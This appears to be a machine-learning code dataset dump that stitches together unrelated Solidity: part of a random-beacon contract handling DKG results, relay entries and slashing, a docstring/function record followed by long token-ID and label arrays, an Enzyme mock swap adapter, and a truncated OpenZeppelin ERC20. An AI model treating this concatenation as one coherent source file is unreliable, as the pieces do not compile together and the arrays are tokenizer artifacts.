address operator = msg.sender;
require(
!sortitionPool.isOperatorInPool(operator),
"Operator is already registered"
);
sortitionPool.insertOperator(
operator,
staking.eligibleStake(operator, address(this))
);
}
/// @notice Updates the sortition pool status of the caller.
function updateOperatorStatus() external {
sortitionPool.updateOperatorStatus(
msg.sender,
staking.eligibleStake(msg.sender, address(this))
);
}
/// @notice Triggers group selection if there are no active groups.
function genesis() external {
require(groups.numberOfActiveGroups() == 0, "Not awaiting genesis");
dkg.lockState();
dkg.start(
uint256(keccak256(abi.encodePacked(genesisSeed, block.number)))
);
}
/// @notice Submits result of DKG protocol. It is on-chain part of phase 14 of
/// the protocol. The DKG result consists of result submitting member
/// index, calculated group public key, bytes array of misbehaved
/// members, concatenation of signatures from group members,
/// indices of members corresponding to each signature and
/// the list of group members.
/// When the result is verified successfully it gets registered and
/// waits for an approval. A result can be challenged to verify the
/// members list corresponds to the expected set of members determined
/// by the sortition pool.
/// A candidate group is registered based on the submitted DKG result
/// details.
/// @dev The message to be signed by each member is keccak256 hash of the
/// calculated group public key, misbehaved members as bytes and DKG
/// start block. The calculated hash should be prefixed with prefixed with
/// `\x19Ethereum signed message:\n` before signing, so the message to
/// sign is:
/// `\x19Ethereum signed message:\n${keccak256(groupPubKey,misbehaved,startBlock)}`
/// @param dkgResult DKG result.
function submitDkgResult(DKG.Result calldata dkgResult) external {
dkg.submitResult(dkgResult);
groups.addCandidateGroup(dkgResult.groupPubKey, dkgResult.membersHash);
}
/// @notice Notifies about DKG timeout. Pays the sortition pool unlocking
/// reward to the notifier.
function notifyDkgTimeout() external {
dkg.notifyTimeout();
transferDkgRewards(msg.sender, sortitionPoolUnlockingReward);
dkg.complete();
}
/// @notice Approves DKG result. Can be called when the challenge period for
/// the submitted result is finished. Considers the submitted result
/// as valid, pays reward to the approver, bans misbehaved group
/// members from the sortition pool rewards, and completes the group
/// creation by activating the candidate group. For the first
/// `resultSubmissionEligibilityDelay` blocks after the end of the
/// challenge period can be called only by the DKG result submitter.
/// After that time, can be called by anyone.
/// @param dkgResult Result to approve. Must match the submitted result
/// stored during `submitDkgResult`.
function approveDkgResult(DKG.Result calldata dkgResult) external {
uint32[] memory misbehavedMembers = dkg.approveResult(dkgResult);
transferDkgRewards(msg.sender, dkgResultSubmissionReward);
if (misbehavedMembers.length > 0) {
sortitionPool.setRewardIneligibility(
misbehavedMembers,
// solhint-disable-next-line not-rely-on-time
block.timestamp + sortitionPoolRewardsBanDuration
);
}
groups.activateCandidateGroup();
dkg.complete();
}
/// @notice Challenges DKG result. If the submitted result is proved to be
/// invalid it reverts the DKG back to the result submission phase.
/// It removes a candidate group that was previously registered with
/// the DKG result submission.
/// @param dkgResult Result to challenge. Must match the submitted result
/// stored during `submitDkgResult`.
function challengeDkgResult(DKG.Result calldata dkgResult) external {
bytes32 membersHash = groups
.getGroup(dkgResult.groupPubKey)
.membersHash;
(bytes32 maliciousResultHash, uint32 maliciousSubmitter) = dkg
.challengeResult(dkgResult, membersHash);
uint256 slashingAmount = maliciousDkgResultSlashingAmount;
address maliciousSubmitterAddresses = sortitionPool.getIDOperator(
maliciousSubmitter
);
groups.popCandidateGroup();
emit DkgMaliciousResultSlashed(
maliciousResultHash,
slashingAmount,
maliciousSubmitterAddresses
);
address[] memory operatorWrapper = new address[](1);
operatorWrapper[0] = maliciousSubmitterAddresses;
staking.seize(
slashingAmount,
dkgMaliciousResultNotificationRewardMultiplier,
msg.sender,
operatorWrapper
);
}
/// @notice Check current group creation state.
function getGroupCreationState() external view returns (DKG.State) {
return dkg.currentState();
}
/// @notice Checks if DKG timed out. The DKG timeout period includes time required
/// for off-chain protocol execution and time for the result publication
/// for all group members. After this time result cannot be submitted
/// and DKG can be notified about the timeout.
/// @return True if DKG timed out, false otherwise.
function hasDkgTimedOut() external view returns (bool) {
return dkg.hasDkgTimedOut();
}
function getGroupsRegistry() external view returns (bytes32[] memory) {
return groups.groupsRegistry;
}
function getGroup(uint64 groupId)
external
view
returns (Groups.Group memory)
{
return groups.getGroup(groupId);
}
function getGroup(bytes memory groupPubKey)
external
view
returns (Groups.Group memory)
{
return groups.getGroup(groupPubKey);
}
/// @notice Creates a request to generate a new relay entry, which will
/// include a random number (by signing the previous entry's
/// random number). Requires a request fee denominated in T token.
/// @param callbackContract Beacon consumer callback contract.
function requestRelayEntry(IRandomBeaconConsumer callbackContract)
external
{
uint64 groupId = groups.selectGroup(
uint256(keccak256(AltBn128.g1Marshal(relay.previousEntry)))
);
relay.requestEntry(groupId);
fundDkgRewardsPool(msg.sender, relay.relayRequestFee);
callback.setCallbackContract(callbackContract);
// If the current request should trigger group creation we need to lock
// DKG state (lock sortition pool) to prevent operators from changing
// its state before relay entry is known. That entry will be used as a
// group selection seed.
if (
relay.requestCount % groupCreationFrequency == 0 &&
dkg.currentState() == DKG.State.IDLE
) {
dkg.lockState();
}
}
/// @notice Creates a new relay entry. Gas-optimized version that can be
/// called only before the soft timeout. This should be the majority
/// of cases.
/// @param entry Group BLS signature over the previous entry.
function submitRelayEntry(bytes calldata entry) external {
Groups.Group storage group = groups.getGroup(
relay.currentRequestGroupID
);
relay.submitEntryBeforeSoftTimeout(entry, group.groupPubKey);
// If DKG is awaiting a seed, that means the we should start the actual
// group creation process.
if (dkg.currentState() == DKG.State.AWAITING_SEED) {
dkg.start(uint256(keccak256(entry)));
}
callback.executeCallback(uint256(keccak256(entry)), callbackGasLimit);
}
/// @notice Creates a new relay entry.
/// @param entry Group BLS signature over the previous entry.
/// @param groupMembers Identifiers of group members.
function submitRelayEntry(
bytes calldata entry,
uint32[] calldata groupMembers
) external {
uint256 currentRequestId = relay.currentRequestID;
Groups.Group storage group = groups.getGroup(
relay.currentRequestGroupID
);
require(
group.membersHash == keccak256(abi.encode(groupMembers)),
"Invalid group members"
);
uint256 slashingAmount = relay.submitEntry(entry, group.groupPubKey);
if (slashingAmount > 0) {
address[] memory groupMembersAddresses = sortitionPool
.getIDOperators(groupMembers);
try staking.slash(slashingAmount, groupMembersAddresses) {
// slither-disable-next-line reentrancy-events
emit RelayEntryDelaySlashed(
currentRequestId,
slashingAmount,
groupMembersAddresses
);
} catch {
// Should never happen but we want to ensure a non-critical path
// failure from an external contract does not stop group members
// from submitting a valid relay entry.
emit RelayEntryDelaySlashingFailed(
currentRequestId,
slashingAmount,
groupMembersAddresses
);
}
}
// If DKG is awaiting a seed, that means the we should start the actual
// group creation process.
if (dkg.currentState() == DKG.State.AWAITING_SEED) {
dkg.start(uint256(keccak256(entry)));
}
callback.executeCallback(uint256(keccak256(entry)), callbackGasLimit);
}
/// @notice Reports a relay entry timeout.
/// @param groupMembers Identifiers of group members.
function reportRelayEntryTimeout(uint32[] calldata groupMembers) external {
uint64 groupId = relay.currentRequestGroupID;
Groups.Group storage group = groups.getGroup(groupId);
require(
group.membersHash == keccak256(abi.encode(groupMembers)),
"Invalid group members"
);
uint256 slashingAmount = relay
.relayEntrySubmissionFailureSlashingAmount;
address[] memory groupMembersAddresses = sortitionPool.getIDOperators(
groupMembers
);
emit RelayEntryTimeoutSlashed(
relay.currentRequestID,
slashingAmount,
groupMembersAddresses
);
staking.seize(
slashingAmount,
relayEntryTimeoutNotificationRewardMultiplier,
msg.sender,
groupMembersAddresses
);
groups.terminateGroup(groupId);
groups.expireOldGroups();
if (groups.numberOfActiveGroups() > 0) {
groupId = groups.selectGroup(
uint256(keccak256(AltBn128.g1Marshal(relay.previousEntry)))
);
relay.retryOnEntryTimeout(groupId);
} else {
relay.cleanupOnEntryTimeout();
// If DKG is awaiting a seed, we should notify about its timeout to
// avoid blocking the future group creation.
if (dkg.currentState() == DKG.State.AWAITING_SEED) {
dkg.notifySeedTimedOut();
}
}
}
/// @notice Reports unauthorized groups signing. Must provide a valid signature
/// of the sender's address as a message. Successful signature
/// verification means the private key has been leaked and all group
/// members should be punished by slashing their tokens. Group has
/// to be active or expired. Unauthorized signing cannot be reported
/// for a terminated group. In case of reporting unauthorized
/// signing for a terminated group, or when the signature is invalid,
/// function reverts.
/// @param signedMsgSender Signature of the sender's address as a message.
/// @param groupId Group that is being reported for leaking a private key.
/// @param groupMembers Identifiers of group members.
function reportUnauthorizedSigning(
bytes memory signedMsgSender,
uint64 groupId,
uint32[] calldata groupMembers
) external {
Groups.Group memory group = groups.getGroup(groupId);
require(
group.membersHash == keccak256(abi.encode(groupMembers)),
"Invalid group members"
);
require(!group.terminated, "Group cannot be terminated");
require(
BLS.verifyBytes(
group.groupPubKey,
abi.encodePacked(msg.sender),
signedMsgSender
),
"Invalid signature"
);
groups.terminateGroup(groupId);
address[] memory groupMembersAddresses = sortitionPool.getIDOperators(
groupMembers
);
emit UnauthorizedSigningSlashed(
groupId,
unauthorizedSigningSlashingAmount,
groupMembersAddresses
);
staking.seize(
unauthorizedSigningSlashingAmount,
unauthorizedSigningNotificationRewardMultiplier,
msg.sender,
groupMembersAddresses
);
}
/// @notice Notifies about a failed group heartbeat. Using this function,
/// a majority of the group can decide about punishing specific
/// group members who failed to provide a heartbeat. If provided
/// claim is proved to be valid and signed by sufficient number
/// of group members, operators of members deemed as failed are
/// banned for sortition pool rewards for duration specified by
/// `sortitionPoolRewardsBanDuration` parameter. The sender of
/// the claim must be one of the claim signers. The sender is
/// rewarded from `heartbeatNotifierRewardsPool`. Exact reward
/// amount is multiplication of operators marked as ineligible
/// and `ineligibleOperatorNotifierReward` factor. This function
/// can be called only for active and non-terminated groups.
/// @param claim Failure claim.
/// @param nonce Current failed heartbeat nonce for given group. Must
/// be the same as the stored one.
/// @param groupMembers Identifiers of group members.
function notifyFailedHeartbeat(
Heartbeat.FailureClaim calldata claim,
uint256 nonce,
uint32[] calldata groupMembers
) external {
uint64 groupId = claim.groupId;
require(nonce == failedHeartbeatNonce[groupId], "Invalid nonce");
require(
groups.isGroupActive(groupId),
"Group must be active and non-terminated"
);
Groups.Group storage group = groups.getGroup(groupId);
require(
group.membersHash == keccak256(abi.encode(groupMembers)),
"Invalid group members"
);
uint32[] memory ineligibleOperators = Heartbeat.verifyFailureClaim(
sortitionPool,
claim,
group,
nonce,
groupMembers
);
failedHeartbeatNonce[groupId]++;
emit HeartbeatFailed(groupId, nonce, msg.sender);
sortitionPool.setRewardIneligibility(
ineligibleOperators,
// solhint-disable-next-line not-rely-on-time
block.timestamp + sortitionPoolRewardsBanDuration
);
transferHeartbeatNotifierRewards(
msg.sender,
ineligibleOperatorNotifierReward * ineligibleOperators.length
);
}
/// @notice Funds the DKG rewards pool.
/// @param from Address of the funder. The funder must give a sufficient
/// allowance for this contract to make a successful call.
/// @param value Token value transferred by the funder.
function fundDkgRewardsPool(address from, uint256 value) public {
dkgRewardsPool += value;
tToken.safeTransferFrom(from, address(this), value);
}
/// @notice Funds the heartbeat notifier rewards pool.
/// @param from Address of the funder. The funder must give a sufficient
/// allowance for this contract to make a successful call.
/// @param value Token value transferred by the funder.
function fundHeartbeatNotifierRewardsPool(address from, uint256 value)
external
{
heartbeatNotifierRewardsPool += value;
tToken.safeTransferFrom(from, address(this), value);
}
/// @notice Makes a transfer using DKG rewards pool.
/// @param to Address of the recipient.
/// @param value Token value transferred to the recipient.
function transferDkgRewards(address to, uint256 value) internal {
uint256 actualValue = Math.min(dkgRewardsPool, value);
dkgRewardsPool -= actualValue;
tToken.safeTransfer(to, actualValue);
}
/// @notice Makes a transfer using heartbeat notifier rewards pool.
/// @param to Address of the recipient.
/// @param value Token value transferred to the recipient.
function transferHeartbeatNotifierRewards(address to, uint256 value)
internal
{
uint256 actualValue = Math.min(heartbeatNotifierRewardsPool, value);
heartbeatNotifierRewardsPool -= actualValue;
tToken.safeTransfer(to, actualValue);
}
/// @notice Locks the state of group creation.
/// @dev This function is meant to be used by test stubs which inherits
/// from this contract and needs to lock the DKG state arbitrarily.
function dkgLockState() internal {
dkg.lockState();
}
/// @notice The minimum authorization amount required so that operator can
/// participate in the random beacon. This amount is required to
/// execute slashing for providing a malicious DKG result or when
/// a relay entry times out.
function minimumAuthorization() external view returns (uint96) {
return authorization.minimumAuthorization;
}
/// @notice Delay in seconds that needs to pass between the time
/// authorization decrease is requested and the time that request
/// gets approved. Protects against free-riders earning rewards and
/// not being active in the network.
function authorizationDecreaseDelay() external view returns (uint64) {
return authorization.authorizationDecreaseDelay;
}
/// @return Flag indicating whether a relay entry request is currently
/// in progress.
function isRelayRequestInProgress() external view returns (bool) {
return relay.isRequestInProgress();
}
/// @return Relay request fee in T. This fee needs to be provided by the
/// account or contract requesting for a new relay entry.
function relayRequestFee() external view returns (uint256) {
return relay.relayRequestFee;
}
/// @return The number of blocks it takes for a group member to become
/// eligible to submit the relay entry. At first, there is only one
/// member in the group eligible to submit the relay entry. Then,
/// after `relayEntrySubmissionEligibilityDelay` blocks, another
/// group member becomes eligible so that there are two group
/// members eligible to submit the relay entry at that moment. After
/// another `relayEntrySubmissionEligibilityDelay` blocks, yet one
/// group member becomes eligible so that there are three group
/// members eligible to submit the relay entry at that moment. This
/// continues until all group members are eligible to submit the
/// relay entry or until the relay entry is submitted. If all
/// members became eligible to submit the relay entry and one more
/// `relayEntrySubmissionEligibilityDelay` passed without the relay
/// entry submitted, the group reaches soft timeout for submitting
/// the relay entry and the slashing starts.
function relayEntrySubmissionEligibilityDelay()
external
view
returns (uint256)
{
return relay.relayEntrySubmissionEligibilityDelay;
}
/// @return Hard timeout in blocks for a group to submit the relay entry.
/// After all group members became eligible to submit the relay
/// entry and one more `relayEntrySubmissionEligibilityDelay` blocks
/// passed without relay entry submitted, all group members start
/// getting slashed. The slashing amount increases linearly until
/// the group submits the relay entry or until
/// `relayEntryHardTimeout` is reached. When the hard timeout is
/// reached, each group member will get slashed for
/// `relayEntrySubmissionFailureSlashingAmount`.
function relayEntryHardTimeout() external view returns (uint256) {
return relay.relayEntryHardTimeout;
}
/// @notice Slashing amount for not submitting relay entry. When
/// relay entry hard timeout is reached without the relay entry
/// submitted, each group member gets slashed for
/// `relayEntrySubmissionFailureSlashingAmount`. If the relay entry
/// gets submitted after the soft timeout (see
/// `relayEntrySubmissionEligibilityDelay` documentation), but
/// before the hard timeout, each group member gets slashed
/// proportionally to `relayEntrySubmissionFailureSlashingAmount`
/// and the time passed since the soft deadline.
function relayEntrySubmissionFailureSlashingAmount()
external
view
returns (uint256)
{
return relay.relayEntrySubmissionFailureSlashingAmount;
}
/// @notice Group lifetime in blocks. When a group reached its lifetime, it
/// is no longer selected for new relay requests but may still be
/// responsible for submitting relay entry if relay request assigned
/// to that group is still pending.
function groupLifetime() external view returns (uint256) {
return groups.groupLifetime;
}
/// @notice The number of blocks for which a DKG result can be challenged.
/// Anyone can challenge DKG result for a certain number of blocks
/// before the result is fully accepted and the group registered in
/// the pool of active groups. If the challenge gets accepted, all
/// operators who signed the malicious result get slashed for
/// `maliciousDkgResultSlashingAmount` and the notifier gets
/// rewarded.
function dkgResultChallengePeriodLength() public view returns (uint256) {
return dkg.parameters.resultChallengePeriodLength;
}
/// @notice The number of blocks it takes for a group member to become
/// eligible to submit the DKG result. At first, there is only one
/// member in the group eligible to submit the DKG result. Then,
/// after `dkgResultSubmissionEligibilityDelay` blocks, another
/// group member becomes eligible so that there are two group
/// members eligible to submit the DKG result at that moment. After
/// another `dkgResultSubmissionEligibilityDelay` blocks, yet one
/// group member becomes eligible to submit the DKG result so that
/// there are three group members eligible to submit the DKG result
/// at that moment. This continues until all group members are
/// eligible to submit the DKG result or until the DKG result is
/// submitted. If all members became eligible to submit the DKG
/// result and one more `dkgResultSubmissionEligibilityDelay` passed
/// without the DKG result submitted, DKG is considered as timed out
/// and no DKG result for this group creation can be submitted
/// anymore.
function dkgResultSubmissionEligibilityDelay()
public
view
returns (uint256)
{
return dkg.parameters.resultSubmissionEligibilityDelay;
}
/// @notice Selects a new group of operators based on the provided seed.
/// At least one operator has to be registered in the pool,
/// otherwise the function fails reverting the transaction.
/// @param seed Number used to select operators to the group.
/// @return IDs of selected group members.
function selectGroup(bytes32 seed) external view returns (uint32[] memory) {
return sortitionPool.selectGroup(DKG.groupSize, seed);
}
}
| @notice Submits result of DKG protocol. It is on-chain part of phase 14 of the protocol. The DKG result consists of result submitting member index, calculated group public key, bytes array of misbehaved members, concatenation of signatures from group members, indices of members corresponding to each signature and the list of group members. When the result is verified successfully it gets registered and waits for an approval. A result can be challenged to verify the members list corresponds to the expected set of members determined by the sortition pool. A candidate group is registered based on the submitted DKG result details. @dev The message to be signed by each member is keccak256 hash of the calculated group public key, misbehaved members as bytes and DKG start block. The calculated hash should be prefixed with prefixed with `\x19Ethereum signed message:\n` before signing, so the message to sign is: `\x19Ethereum signed message:\n${keccak256(groupPubKey,misbehaved,startBlock)}` @param dkgResult DKG result. | function submitDkgResult(DKG.Result calldata dkgResult) external {
dkg.submitResult(dkgResult);
groups.addCandidateGroup(dkgResult.groupPubKey, dkgResult.membersHash);
}
| 13,007,501 | [
1,
1676,
22679,
563,
434,
31176,
43,
1771,
18,
2597,
353,
603,
17,
5639,
1087,
434,
6855,
5045,
434,
540,
326,
1771,
18,
1021,
31176,
43,
563,
20915,
434,
563,
4879,
1787,
3140,
540,
770,
16,
8894,
1041,
1071,
498,
16,
1731,
526,
434,
7524,
2196,
76,
8158,
540,
4833,
16,
26833,
434,
14862,
628,
1041,
4833,
16,
540,
4295,
434,
4833,
4656,
358,
1517,
3372,
471,
540,
326,
666,
434,
1041,
4833,
18,
540,
5203,
326,
563,
353,
13808,
4985,
518,
5571,
4104,
471,
540,
16248,
364,
392,
23556,
18,
432,
563,
848,
506,
462,
7862,
2423,
358,
3929,
326,
540,
4833,
666,
13955,
358,
326,
2665,
444,
434,
4833,
11383,
540,
635,
326,
1524,
608,
2845,
18,
540,
432,
5500,
1041,
353,
4104,
2511,
603,
326,
9638,
31176,
43,
563,
540,
3189,
18,
225,
1021,
883,
358,
506,
6726,
635,
1517,
3140,
353,
417,
24410,
581,
5034,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
445,
4879,
40,
14931,
1253,
12,
3398,
43,
18,
1253,
745,
892,
302,
14931,
1253,
13,
3903,
288,
203,
3639,
302,
14931,
18,
9297,
1253,
12,
2883,
75,
1253,
1769,
203,
203,
3639,
3252,
18,
1289,
11910,
1114,
12,
2883,
75,
1253,
18,
1655,
17924,
16,
302,
14931,
1253,
18,
7640,
2310,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../release/extensions/integration-manager/integrations/utils/AdapterBase.sol";
/// @title IMockGenericIntegratee Interface
/// @author Enzyme Council <[email protected]>
interface IMockGenericIntegratee {
function swap(
address[] calldata,
uint256[] calldata,
address[] calldata,
uint256[] calldata
) external payable;
function swapOnBehalf(
address payable,
address[] calldata,
uint256[] calldata,
address[] calldata,
uint256[] calldata
) external payable;
}
/// @title MockGenericAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Provides a generic adapter that:
/// 1. Provides swapping functions that use various `SpendAssetsTransferType` values
/// 2. Directly parses the _actual_ values to swap from provided call data (e.g., `actualIncomingAssetAmounts`)
/// 3. Directly parses values needed by the IntegrationManager from provided call data (e.g., `minIncomingAssetAmounts`)
contract MockGenericAdapter is AdapterBase {
address public immutable INTEGRATEE;
// No need to specify the IntegrationManager
constructor(address _integratee) public AdapterBase(address(0)) {
INTEGRATEE = _integratee;
}
function identifier() external pure override returns (string memory) {
return "MOCK_GENERIC";
}
function parseAssetsForMethod(bytes4 _selector, bytes calldata _callArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory maxSpendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
(
spendAssets_,
maxSpendAssetAmounts_,
,
incomingAssets_,
minIncomingAssetAmounts_,
) = __decodeCallArgs(_callArgs);
return (
__getSpendAssetsHandleTypeForSelector(_selector),
spendAssets_,
maxSpendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @dev Assumes SpendAssetsHandleType.Transfer unless otherwise specified
function __getSpendAssetsHandleTypeForSelector(bytes4 _selector)
private
pure
returns (IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_)
{
if (_selector == bytes4(keccak256("removeOnly(address,bytes,bytes)"))) {
return IIntegrationManager.SpendAssetsHandleType.Remove;
}
if (_selector == bytes4(keccak256("swapDirectFromVault(address,bytes,bytes)"))) {
return IIntegrationManager.SpendAssetsHandleType.None;
}
if (_selector == bytes4(keccak256("swapViaApproval(address,bytes,bytes)"))) {
return IIntegrationManager.SpendAssetsHandleType.Approve;
}
return IIntegrationManager.SpendAssetsHandleType.Transfer;
}
function removeOnly(
address,
bytes calldata,
bytes calldata
) external {}
function swapA(
address _vaultProxy,
bytes calldata _callArgs,
bytes calldata _assetTransferArgs
) external fundAssetsTransferHandler(_vaultProxy, _assetTransferArgs) {
__decodeCallArgsAndSwap(_callArgs);
}
function swapB(
address _vaultProxy,
bytes calldata _callArgs,
bytes calldata _assetTransferArgs
) external fundAssetsTransferHandler(_vaultProxy, _assetTransferArgs) {
__decodeCallArgsAndSwap(_callArgs);
}
function swapDirectFromVault(
address _vaultProxy,
bytes calldata _callArgs,
bytes calldata
) external {
(
address[] memory spendAssets,
,
uint256[] memory actualSpendAssetAmounts,
address[] memory incomingAssets,
,
uint256[] memory actualIncomingAssetAmounts
) = __decodeCallArgs(_callArgs);
IMockGenericIntegratee(INTEGRATEE).swapOnBehalf(
payable(_vaultProxy),
spendAssets,
actualSpendAssetAmounts,
incomingAssets,
actualIncomingAssetAmounts
);
}
function swapViaApproval(
address _vaultProxy,
bytes calldata _callArgs,
bytes calldata _assetTransferArgs
) external fundAssetsTransferHandler(_vaultProxy, _assetTransferArgs) {
__decodeCallArgsAndSwap(_callArgs);
}
function __decodeCallArgs(bytes memory _callArgs)
internal
pure
returns (
address[] memory spendAssets_,
uint256[] memory maxSpendAssetAmounts_,
uint256[] memory actualSpendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_,
uint256[] memory actualIncomingAssetAmounts_
)
{
return
abi.decode(
_callArgs,
(address[], uint256[], uint256[], address[], uint256[], uint256[])
);
}
function __decodeCallArgsAndSwap(bytes memory _callArgs) internal {
(
address[] memory spendAssets,
,
uint256[] memory actualSpendAssetAmounts,
address[] memory incomingAssets,
,
uint256[] memory actualIncomingAssetAmounts
) = __decodeCallArgs(_callArgs);
for (uint256 i; i < spendAssets.length; i++) {
ERC20(spendAssets[i]).approve(INTEGRATEE, actualSpendAssetAmounts[i]);
}
IMockGenericIntegratee(INTEGRATEE).swap(
spendAssets,
actualSpendAssetAmounts,
incomingAssets,
actualIncomingAssetAmounts
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
